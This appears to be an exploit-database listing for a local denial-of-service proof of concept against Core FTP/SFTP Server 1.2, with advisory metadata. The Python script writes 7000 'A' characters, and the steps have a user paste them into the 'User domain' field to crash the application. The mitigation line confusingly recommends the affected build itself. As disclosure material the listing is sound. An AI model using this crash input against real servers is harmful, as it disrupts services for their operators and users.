Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)

vendor:

Core FTP/SFTP Server

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

CWE

Product Name: Core FTP/SFTP Server

Affected Version From: 1.2 - Build 589.42

Affected Version To: 2-Build 673

Patch Exists: YES

Related CWE: N/A

CPE: a:coreftp:core_ftp_server

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 Service Pack 1 x32

2019

Core FTP/SFTP Server 1.2 – Build 589.42 – Denial of Service (PoC)

Core FTP/SFTP Server 1.2 - Build 589.42 is vulnerable to a denial of service attack when a maliciously crafted domain name is provided. An attacker can exploit this vulnerability by running a python code to generate a maliciously crafted domain name, copying the content to clipboard, opening Core FTP Server, selecting 'Setup' > 'New', selecting 'Domain Name' and putting 'Test', selecting 'Domain IP/Address' and putting '1.1.1.1', selecting 'Base directory' and choosing a directory path, enabling 'WinNT users', selecting 'User domain' and pasting the clipboard, clicking on 'Ok' and the next window clicking 'Ok', which will cause the application to crash.

Mitigation:

Upgrade to the latest version of Core FTP/SFTP Server 1.2 - Build 589.42 or later.

Source

Exploit-DB raw data:

#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1" 
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users" 
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')
f.write(cod)
f.close()